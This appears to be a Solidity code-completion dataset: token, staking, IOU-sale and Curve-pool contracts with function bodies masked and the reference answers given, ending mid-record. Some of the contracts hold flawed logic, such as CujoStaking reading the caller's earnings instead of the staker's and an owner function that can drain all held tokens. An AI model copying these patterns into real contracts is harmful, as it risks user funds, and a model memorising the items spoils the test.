bool public halt_purchases;
modifier pwner() { if(msg.sender != seller) throw; _; }
/*
Safety to withdraw unbought tokens back to seller. Ensures the amount
that buyers still need to withdraw remains available
*/
function withdrawTokens() pwner {
token.transfer(seller, token.balanceOf(address(this)) - (total_iou_purchased - total_iou_withdrawn));
}
/*
Safety to prevent anymore purchases/sales from occurring in the event of
unforeseen issue. Buyer withdrawals still remain enabled.
*/
function haltPurchases() pwner {
halt_purchases = true;
}
function resumePurchases() pwner {
halt_purchases = false;
}
/*
Update available IOU to purchase
*/
function updateAvailability(uint256 _iou_amount) pwner {
if(_iou_amount < total_iou_purchased) throw;
total_iou_available = _iou_amount;
}
/*
Update IOU price
*/
function updatePrice(uint256 _price) pwner {
price_per_eth = _price;
}
/*
Release buyer's ETH to seller ONLY if amount of contract's tokens balance
is >= to the amount that still needs to be withdrawn. Protects buyer.
The seller must call this function manually after depositing the adequate
amount of tokens for all buyers to collect
This effectively ends the sale, but withdrawals remain open
*/
function paySeller() pwner {
// not enough tokens in balance to release ETH, protect buyer and abort
if(token.balanceOf(address(this)) < (total_iou_purchased - total_iou_withdrawn)) throw;
// Halt further purchases
halt_purchases = true;
// Release buyer's ETH to the seller
seller.transfer(this.balance);
}
<FILL_FUNCTION>
function purchase() payable {
if(halt_purchases) throw;
if(msg.value == 0) throw;
// Determine amount of tokens user wants to/can buy
uint256 iou_to_purchase = price_per_eth * msg.value;
// Check if we have enough IOUs left to sell
if((total_iou_purchased + iou_to_purchase) > total_iou_available) throw;
// Update the amount of IOUs purchased by user. Also keep track of the total ETH they sent in
iou_purchased[msg.sender] += iou_to_purchase;
eth_sent[msg.sender] += msg.value;
// Update the total amount of IOUs purchased by all buyers
total_iou_purchased += iou_to_purchase;
}
// Fallback function/entry point
function () payable {
if(msg.value == 0) {
withdraw();
}
else {
purchase();
}
}
} |
/*
Main mechanism to ensure a buyer's purchase/ETH/IOU is safe.
Refund the buyer's ETH if we're beyond the cut-off date of our distribution
promise AND if the contract doesn't have an adequate amount of tokens
to distribute to the buyer. Time-sensitive buyer/ETH protection is only
applicable if the contract doesn't have adequate tokens for the buyer.
The "adequacy" check prevents the seller and/or third party attacker
from locking down buyers' ETH by sending in an arbitrary amount of tokens.
If for whatever reason the tokens remain locked for an unexpected period
beyond the time defined by block.number, patient buyers may still wait until
the contract is filled with their purchased IOUs/tokens. Once the tokens
are here, they can initiate a withdraw() to retrieve their tokens. Attempting
to withdraw any sooner (after the block has been mined, but tokens not arrived)
will result in a refund of buyer's ETH.
*/
if(block.number > 4230000 && iou_purchased[msg.sender] > token.balanceOf(address(this))) {
// We didn't fulfill our promise to have adequate tokens withdrawable at xx time
// Refund the buyer's ETH automatically instead
uint256 eth_to_refund = eth_sent[msg.sender];
// If the user doesn't have any ETH or tokens to withdraw, get out ASAP
if(eth_to_refund == 0 || iou_purchased[msg.sender] == 0) throw;
// Adjust total purchased so others can buy, and so numbers align with total_iou_withdrawn
total_iou_purchased -= iou_purchased[msg.sender];
// Clear record of buyer's ETH and IOU balance before refunding
eth_sent[msg.sender] = 0;
iou_purchased[msg.sender] = 0;
msg.sender.transfer(eth_to_refund);
return;
}
/*
Check if there is an adequate amount of tokens in the contract yet
and allow the buyer to withdraw tokens
*/
if(token.balanceOf(address(this)) == 0 || iou_purchased[msg.sender] > token.balanceOf(address(this))) throw;
uint256 iou_to_withdraw = iou_purchased[msg.sender];
// If the user doesn't have any IOUs to withdraw, get out ASAP
if(iou_to_withdraw == 0) throw;
// Clear record of buyer's IOU and ETH balance before transferring out
iou_purchased[msg.sender] = 0;
eth_sent[msg.sender] = 0;
total_iou_withdrawn += iou_to_withdraw;
// Distribute tokens to the buyer
token.transfer(msg.sender, iou_to_withdraw);
| function withdraw() payable | function withdraw() payable |
23782 | GoodTo | burn | contract GoodTo {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function GoodTo(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | contract GoodTo {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function GoodTo(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
<FILL_FUNCTION>
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} |
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
| function burn(uint256 _value) public returns (bool success) | function burn(uint256 _value) public returns (bool success) |
5250 | OlympusERC20Token | _burnFrom | contract OlympusERC20Token is Divine {
using SafeMath for uint256;
constructor() Divine("Olympus", "OHM", 9) {
}
function mint(address account_, uint256 amount_) external onlyVault() {
_mint(account_, amount_);
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
// function _beforeTokenTransfer( address from_, address to_, uint256 amount_ ) internal override virtual {
// if( _dexPoolsTWAPSources.contains( from_ ) ) {
// _uodateTWAPOracle( from_, twapEpochPeriod );
// } else {
// if ( _dexPoolsTWAPSources.contains( to_ ) ) {
// _uodateTWAPOracle( to_, twapEpochPeriod );
// }
// }
// }
/*
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account_, uint256 amount_) public virtual {
_burnFrom(account_, amount_);
}
function _burnFrom(address account_, uint256 amount_) public virtual {<FILL_FUNCTION_BODY> }
} | contract OlympusERC20Token is Divine {
using SafeMath for uint256;
constructor() Divine("Olympus", "OHM", 9) {
}
function mint(address account_, uint256 amount_) external onlyVault() {
_mint(account_, amount_);
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
// function _beforeTokenTransfer( address from_, address to_, uint256 amount_ ) internal override virtual {
// if( _dexPoolsTWAPSources.contains( from_ ) ) {
// _uodateTWAPOracle( from_, twapEpochPeriod );
// } else {
// if ( _dexPoolsTWAPSources.contains( to_ ) ) {
// _uodateTWAPOracle( to_, twapEpochPeriod );
// }
// }
// }
/*
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account_, uint256 amount_) public virtual {
_burnFrom(account_, amount_);
}
<FILL_FUNCTION>
} |
uint256 decreasedAllowance_ =
allowance(account_, msg.sender).sub(
amount_,
"ERC20: burn amount exceeds allowance"
);
_approve(account_, msg.sender, decreasedAllowance_);
_burn(account_, amount_);
| function _burnFrom(address account_, uint256 amount_) public virtual | function _burnFrom(address account_, uint256 amount_) public virtual |
76785 | ERC20 | _burn | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {<FILL_FUNCTION_BODY> }
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
} | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
<FILL_FUNCTION>
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
} |
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
| function _burn(address account, uint256 value) internal | /**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal |
49179 | CujoStaking | _userEarned | contract CujoStaking is Ownable {
using SafeMath for uint256;
uint256 public stakeDuration;
uint256 public stakeStart;
uint256 public totalStaked;
IERC20 public stakingToken;
IERC20 public rewardToken;
bool public stakingEnabled = false;
uint256 private _totalSupply = 1e18 * 1e9;
uint256 private _totalRewards = 2e17 * 1e9;
struct Staker {
address staker;
uint256 start;
uint256 staked;
uint256 earned;
uint256 period;
}
mapping(address => Staker) private _stakers;
constructor (uint256 _stakeDuration, IERC20 _stakingToken, IERC20 _rewardToken) {
stakeDuration = _stakeDuration.mul(1 days);
stakingToken = _stakingToken;
rewardToken = _rewardToken;
stakeStart = block.timestamp;
}
function isStaking(address stakerAddr) public view returns (bool) {
return _stakers[stakerAddr].staker == stakerAddr;
}
function userStaked(address staker) public view returns (uint256) {
return _stakers[staker].staked;
}
function userEarnedTotal(address staker) public view returns (uint256) {
uint256 currentlyEarned = _userEarned(staker);
uint256 previouslyEarned = _stakers[msg.sender].earned;
if (previouslyEarned > 0) return currentlyEarned.add(previouslyEarned);
return currentlyEarned;
}
function stakeDay() public view returns (uint256) {
return block.timestamp / 1 days - stakeStart / 1 days;
}
function _isLocked(address staker) private view returns (bool) {
bool isLocked = false;
uint256 _stakeDay = _stakers[staker].start / 1 days;
if (_stakeDay - stakeStart / 1 days < 14) {
if (block.timestamp / 1 days - _stakeDay < 14) {
isLocked = true;
}
}
return isLocked;
}
function _userEarned(address staker) private view returns (uint256) {<FILL_FUNCTION_BODY> }
function _sharePercentage(address staker) private view returns (uint256) {
uint256 stakerStaked = _stakers[staker].staked;
uint256 stakerSharePercentage = stakerStaked.mul(10**9).div(totalStaked);
return stakerSharePercentage;
}
function _periodInDays(address staker) private view returns (uint256) {
uint256 periodInDays = _stakers[staker].period.div(1 days);
return periodInDays;
}
function _rewardsPerDay(address staker) private view returns (uint256) {
uint256 periodInDays = _periodInDays(staker);
uint256 rewardsPerDay = _totalRewards.div(periodInDays);
return rewardsPerDay.mul(10**9);
}
function stake(uint256 stakeAmount) external {
require(stakingEnabled, "Staking is not enabled");
// Check user is registered as staker
if (isStaking(msg.sender)) {
_stakers[msg.sender].staked += stakeAmount;
_stakers[msg.sender].earned += _userEarned(msg.sender);
_stakers[msg.sender].start = block.timestamp;
} else {
_stakers[msg.sender] = Staker(msg.sender, block.timestamp, stakeAmount, 0, stakeDuration);
}
totalStaked += stakeAmount;
stakingToken.transferFrom(msg.sender, address(this), stakeAmount);
}
function claim() external {
require(stakingEnabled, "Staking is not enabled");
require(isStaking(msg.sender), "You are not staking!?");
require(!_isLocked(msg.sender), "Your tokens are currently locked");
uint256 reward = userEarnedTotal(msg.sender);
stakingToken.transfer(msg.sender, reward);
_stakers[msg.sender].start = block.timestamp;
_stakers[msg.sender].earned = 0;
}
function unstake() external {
require(stakingEnabled, "Staking is not enabled");
require(isStaking(msg.sender), "You are not staking!?");
require(!_isLocked(msg.sender), "Your tokens are currently locked");
uint256 reward = userEarnedTotal(msg.sender);
stakingToken.transfer(msg.sender, _stakers[msg.sender].staked.add(reward));
totalStaked -= _stakers[msg.sender].staked;
delete _stakers[msg.sender];
}
function extrendStakeDuration(uint256 duration) external onlyOwner() {
require(duration > stakeDuration, "New duration must be bigger than current duration.");
stakeDuration = duration;
}
function emergencyWithdrawToken(IERC20 token) external onlyOwner() {
token.transfer(msg.sender, token.balanceOf(address(this)));
}
function setState(bool onoff) external onlyOwner() {
stakingEnabled = onoff;
}
receive() external payable {}
} | contract CujoStaking is Ownable {
using SafeMath for uint256;
uint256 public stakeDuration;
uint256 public stakeStart;
uint256 public totalStaked;
IERC20 public stakingToken;
IERC20 public rewardToken;
bool public stakingEnabled = false;
uint256 private _totalSupply = 1e18 * 1e9;
uint256 private _totalRewards = 2e17 * 1e9;
struct Staker {
address staker;
uint256 start;
uint256 staked;
uint256 earned;
uint256 period;
}
mapping(address => Staker) private _stakers;
constructor (uint256 _stakeDuration, IERC20 _stakingToken, IERC20 _rewardToken) {
stakeDuration = _stakeDuration.mul(1 days);
stakingToken = _stakingToken;
rewardToken = _rewardToken;
stakeStart = block.timestamp;
}
function isStaking(address stakerAddr) public view returns (bool) {
return _stakers[stakerAddr].staker == stakerAddr;
}
function userStaked(address staker) public view returns (uint256) {
return _stakers[staker].staked;
}
function userEarnedTotal(address staker) public view returns (uint256) {
uint256 currentlyEarned = _userEarned(staker);
uint256 previouslyEarned = _stakers[msg.sender].earned;
if (previouslyEarned > 0) return currentlyEarned.add(previouslyEarned);
return currentlyEarned;
}
function stakeDay() public view returns (uint256) {
return block.timestamp / 1 days - stakeStart / 1 days;
}
function _isLocked(address staker) private view returns (bool) {
bool isLocked = false;
uint256 _stakeDay = _stakers[staker].start / 1 days;
if (_stakeDay - stakeStart / 1 days < 14) {
if (block.timestamp / 1 days - _stakeDay < 14) {
isLocked = true;
}
}
return isLocked;
}
<FILL_FUNCTION>
function _sharePercentage(address staker) private view returns (uint256) {
uint256 stakerStaked = _stakers[staker].staked;
uint256 stakerSharePercentage = stakerStaked.mul(10**9).div(totalStaked);
return stakerSharePercentage;
}
function _periodInDays(address staker) private view returns (uint256) {
uint256 periodInDays = _stakers[staker].period.div(1 days);
return periodInDays;
}
function _rewardsPerDay(address staker) private view returns (uint256) {
uint256 periodInDays = _periodInDays(staker);
uint256 rewardsPerDay = _totalRewards.div(periodInDays);
return rewardsPerDay.mul(10**9);
}
function stake(uint256 stakeAmount) external {
require(stakingEnabled, "Staking is not enabled");
// Check user is registered as staker
if (isStaking(msg.sender)) {
_stakers[msg.sender].staked += stakeAmount;
_stakers[msg.sender].earned += _userEarned(msg.sender);
_stakers[msg.sender].start = block.timestamp;
} else {
_stakers[msg.sender] = Staker(msg.sender, block.timestamp, stakeAmount, 0, stakeDuration);
}
totalStaked += stakeAmount;
stakingToken.transferFrom(msg.sender, address(this), stakeAmount);
}
function claim() external {
require(stakingEnabled, "Staking is not enabled");
require(isStaking(msg.sender), "You are not staking!?");
require(!_isLocked(msg.sender), "Your tokens are currently locked");
uint256 reward = userEarnedTotal(msg.sender);
stakingToken.transfer(msg.sender, reward);
_stakers[msg.sender].start = block.timestamp;
_stakers[msg.sender].earned = 0;
}
function unstake() external {
require(stakingEnabled, "Staking is not enabled");
require(isStaking(msg.sender), "You are not staking!?");
require(!_isLocked(msg.sender), "Your tokens are currently locked");
uint256 reward = userEarnedTotal(msg.sender);
stakingToken.transfer(msg.sender, _stakers[msg.sender].staked.add(reward));
totalStaked -= _stakers[msg.sender].staked;
delete _stakers[msg.sender];
}
function extrendStakeDuration(uint256 duration) external onlyOwner() {
require(duration > stakeDuration, "New duration must be bigger than current duration.");
stakeDuration = duration;
}
function emergencyWithdrawToken(IERC20 token) external onlyOwner() {
token.transfer(msg.sender, token.balanceOf(address(this)));
}
function setState(bool onoff) external onlyOwner() {
stakingEnabled = onoff;
}
receive() external payable {}
} |
require(isStaking(staker), "User is not staking.");
uint256 rewardPerDay = _rewardsPerDay(staker);
uint256 secsPerDay = 1 days / 1 seconds;
uint256 rewardsPerSec = rewardPerDay.div(secsPerDay);
uint256 stakerSharePercentage = _sharePercentage(staker);
uint256 stakersStartInSeconds = _stakers[staker].start.div(1 seconds);
uint256 blockTimestampInSeconds = block.timestamp.div(1 seconds);
uint256 secondsStaked = blockTimestampInSeconds.sub(stakersStartInSeconds);
uint256 earned = rewardsPerSec.mul(stakerSharePercentage).mul(secondsStaked).div(10**9);
return earned.div(10**9);
| function _userEarned(address staker) private view returns (uint256) | function _userEarned(address staker) private view returns (uint256) |
56849 | AlusdPool | earn_crv | contract AlusdPool is ICurvePool, TokenClaimer, Ownable{
address public usdc;
address public extra_token_addr;
address public lp_token_addr;
address public crv_token_addr;
address public controller;
address public vault;
CRVGaugeInterfaceERC20_alusd public crv_gauge_addr;
MinterInterfaceERC20 public crv_minter_addr;
CurveInterfaceAlusd public pool_deposit;
address public meta_pool_addr;
uint256 public lp_balance;
uint256 public deposit_usdc_amount;
uint256 public withdraw_usdc_amount;
modifier onlyController(){
require((controller == msg.sender)||(vault == msg.sender), "only controller or vault can call this");
_;
}
constructor() public{
name = "Lusd";
usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
crv_token_addr = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
crv_minter_addr = MinterInterfaceERC20(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0);
crv_gauge_addr = CRVGaugeInterfaceERC20_alusd(0x9582C4ADACB3BCE56Fea3e590F05c3ca2fb9C477);
pool_deposit = CurveInterfaceAlusd(0xA79828DF1850E8a3A3064576f380D90aECDD3359);
meta_pool_addr = address(0x43b4FdFD4Ff969587185cDB6f0BD875c5Fc83f8c);
lp_token_addr = address(0x43b4FdFD4Ff969587185cDB6f0BD875c5Fc83f8c);
}
//@_amount: USDC amount
function deposit(uint256 _amount) public{
deposit_usdc_amount = deposit_usdc_amount + _amount;
deposit_usdc(_amount);
uint256 cur = IERC20(lp_token_addr).balanceOf(address(this));
lp_balance = lp_balance + cur;
deposit_to_gauge();
}
//@_amount: USDC amount
function deposit_usdc(uint256 _amount) internal {
IERC20(usdc).transferFrom(msg.sender, address(this), _amount);
IERC20(usdc).approve(address(pool_deposit), 0);
IERC20(usdc).approve(address(pool_deposit), _amount);
uint256[4] memory uamounts = [0,0, _amount, 0];
pool_deposit.add_liquidity(
meta_pool_addr,
uamounts,
0
);
}
//deposit all lp token to gauage to mine CRV
function deposit_to_gauge() internal {
IERC20(lp_token_addr).approve(address(crv_gauge_addr), 0);
uint256 cur = IERC20(lp_token_addr).balanceOf(address(this));
IERC20(lp_token_addr).approve(address(crv_gauge_addr), cur);
crv_gauge_addr.deposit(cur);
require(IERC20(lp_token_addr).balanceOf(address(this)) == 0, "deposit_to_gauge: unexpected exchanges");
}
//@_amount: lp token amount
function withdraw(uint256 _amount) public onlyController{
withdraw_from_gauge(_amount);
withdraw_from_curve(_amount);
lp_balance = lp_balance - _amount;
IERC20(usdc).transfer(msg.sender, IERC20(usdc).balanceOf(address(this)));
}
function withdraw_from_gauge(uint256 _amount) internal{
require(_amount <= lp_balance, "withdraw_from_gauge: insufficient amount");
crv_gauge_addr.withdraw(_amount);
}
function withdraw_from_curve(uint256 _amount) internal {
require(_amount <= get_lp_token_balance(), "withdraw_from_curve: too large amount");
IERC20(lp_token_addr).approve(address(pool_deposit), _amount);
pool_deposit.remove_liquidity_one_coin(
meta_pool_addr,
_amount,
2,
0
);
}
function earn_crv() public onlyController{<FILL_FUNCTION_BODY> }
function setController(address _controller, address _vault) public onlyOwner{
controller = _controller;
vault = _vault;
}
function claimStdToken(address _token, address payable to) public onlyOwner{
_claimStdTokens(_token, to);
}
function get_lp_token_balance() public view returns(uint256){
return lp_balance;
}
function get_lp_token_addr() public view returns(address){
return lp_token_addr;
}
function get_virtual_price() public view returns(uint256) {
return PriceInterfaceERC20(address(meta_pool_addr)).get_virtual_price();
}
} | contract AlusdPool is ICurvePool, TokenClaimer, Ownable{
address public usdc;
address public extra_token_addr;
address public lp_token_addr;
address public crv_token_addr;
address public controller;
address public vault;
CRVGaugeInterfaceERC20_alusd public crv_gauge_addr;
MinterInterfaceERC20 public crv_minter_addr;
CurveInterfaceAlusd public pool_deposit;
address public meta_pool_addr;
uint256 public lp_balance;
uint256 public deposit_usdc_amount;
uint256 public withdraw_usdc_amount;
modifier onlyController(){
require((controller == msg.sender)||(vault == msg.sender), "only controller or vault can call this");
_;
}
constructor() public{
name = "Lusd";
usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
crv_token_addr = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
crv_minter_addr = MinterInterfaceERC20(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0);
crv_gauge_addr = CRVGaugeInterfaceERC20_alusd(0x9582C4ADACB3BCE56Fea3e590F05c3ca2fb9C477);
pool_deposit = CurveInterfaceAlusd(0xA79828DF1850E8a3A3064576f380D90aECDD3359);
meta_pool_addr = address(0x43b4FdFD4Ff969587185cDB6f0BD875c5Fc83f8c);
lp_token_addr = address(0x43b4FdFD4Ff969587185cDB6f0BD875c5Fc83f8c);
}
//@_amount: USDC amount
function deposit(uint256 _amount) public{
deposit_usdc_amount = deposit_usdc_amount + _amount;
deposit_usdc(_amount);
uint256 cur = IERC20(lp_token_addr).balanceOf(address(this));
lp_balance = lp_balance + cur;
deposit_to_gauge();
}
//@_amount: USDC amount
function deposit_usdc(uint256 _amount) internal {
IERC20(usdc).transferFrom(msg.sender, address(this), _amount);
IERC20(usdc).approve(address(pool_deposit), 0);
IERC20(usdc).approve(address(pool_deposit), _amount);
uint256[4] memory uamounts = [0,0, _amount, 0];
pool_deposit.add_liquidity(
meta_pool_addr,
uamounts,
0
);
}
//deposit all lp token to gauage to mine CRV
function deposit_to_gauge() internal {
IERC20(lp_token_addr).approve(address(crv_gauge_addr), 0);
uint256 cur = IERC20(lp_token_addr).balanceOf(address(this));
IERC20(lp_token_addr).approve(address(crv_gauge_addr), cur);
crv_gauge_addr.deposit(cur);
require(IERC20(lp_token_addr).balanceOf(address(this)) == 0, "deposit_to_gauge: unexpected exchanges");
}
//@_amount: lp token amount
function withdraw(uint256 _amount) public onlyController{
withdraw_from_gauge(_amount);
withdraw_from_curve(_amount);
lp_balance = lp_balance - _amount;
IERC20(usdc).transfer(msg.sender, IERC20(usdc).balanceOf(address(this)));
}
function withdraw_from_gauge(uint256 _amount) internal{
require(_amount <= lp_balance, "withdraw_from_gauge: insufficient amount");
crv_gauge_addr.withdraw(_amount);
}
function withdraw_from_curve(uint256 _amount) internal {
